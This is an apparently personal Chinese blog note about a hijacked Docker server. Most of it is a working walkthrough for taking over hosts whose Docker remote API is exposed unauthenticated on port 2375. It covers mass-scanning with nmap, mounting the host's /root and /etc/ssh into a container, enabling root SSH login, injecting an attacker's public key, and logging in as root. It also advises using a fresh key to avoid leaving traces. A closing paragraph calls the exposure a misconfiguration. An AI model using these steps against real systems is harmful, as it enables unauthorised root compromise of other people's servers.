记录一年前'百度云的docker服务器'被'挖矿'
docker remote API --> 2375是docker远程操控的'默认端口'
场景: 为了'方便IDEA调试','未经过TLS加密'-->没有'设置CA证书',通过'2375端口'可以'直接对远程的docker daemon进行操作,导致'被黑'
配置
'注意:服务侧关闭firewalld和selinux' -->
systemctl stop firewalld
--------- '必须用防火墙' ---------
防火墙'开启2375端口'
firewall-cmd --zone=public --add-port=2375/tcp --permanent
systemctl restart firewalld
'ip.list' -->'ip列表'
cat ip.list | xargs -n 1 -I {} nmap -sT -p2375 {} --open
xargs 将'过滤出来的IP'一个一个的'分次送给nmap',-I {} 是指使用{}来'代替'传送的参数
# Starting Nmap 7.01 ( https://nmap.org ) at 2020-09-05 09:37 CST
# Nmap scan report for ip
# Host is up (0.070s latency).
# PORT STATE SERVICE
# 2375/tcp open docker
# ...
如何搞破坏呢?
docker images '直接看到内容',说明这个主机的2375是'没有ssl验证的','基本满足入侵要求'
没有自己需要的容器,那下载一个
'没有会自动下载'
docker -H tcp://172.25.2.157:2375 run --rm -it \
-v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log centos /bin/bash
重点来了
'ssh pub key' 注入
细节1: 在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config '宿主机的/etc/ssh/sshd_config' 的PermitRootLogin字段,如果是no就改成yes,允许root通过ssh登录-->'root权限获取'
'容器内': vi /tmp/ssh_etc/sshd_config
然后在'自己的机器'上生成一对新的'pub key'(已经有ssh key的也建议'生成一个新的',不要使用自己日常使用的ssh pub key)-->'痕迹你懂的'
生成公钥和私钥
# 使用 ssh-keygen生成
ssh-keygen -t rsa -C "wzj@qq.com"
注意:执行命令后的'提示' Enter file in which to save the key要看好,不要把自己的ssh key覆盖了,可以'选着/tmp/id_rsa'
其它'提示'enter到底即可
--------- 继续,'注入ssh pub key',回到刚刚'启动'的容器执行 ---------
cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.... 后面'粘贴'你刚刚在自己机器生成的/tmp/'id_rsa.pub' -->'一定是公钥'
>EOF
如果/tmp/root/.ssh目录不存在,就'直接创建'
登陆服务器
ssh -i 指定'秘钥登录'
ssh -i /tmp/id_rsa root@172.25.2.157
最终效果
报错提示
'已知的错误'
1) 公钥不对 --> '容器内配置成私钥'
2) 文件权限不对 --> '容器'chmod 600 /tmp/root/.ssh/authorized_keys
二 2375是漏洞吗
2375'直接裸露地暴露在公网上'纯属是'用户习惯或者偷懒'的问题,2375可以在相对安全的'内部网络中'方便测试使用,并'不适合'使用在投入到'生产环境'中
'docker info' --> '提示信息'
如果将daemon直接暴露在一个TCP端口,将可能会被'以非root用户'去获'取宿主机'的root权限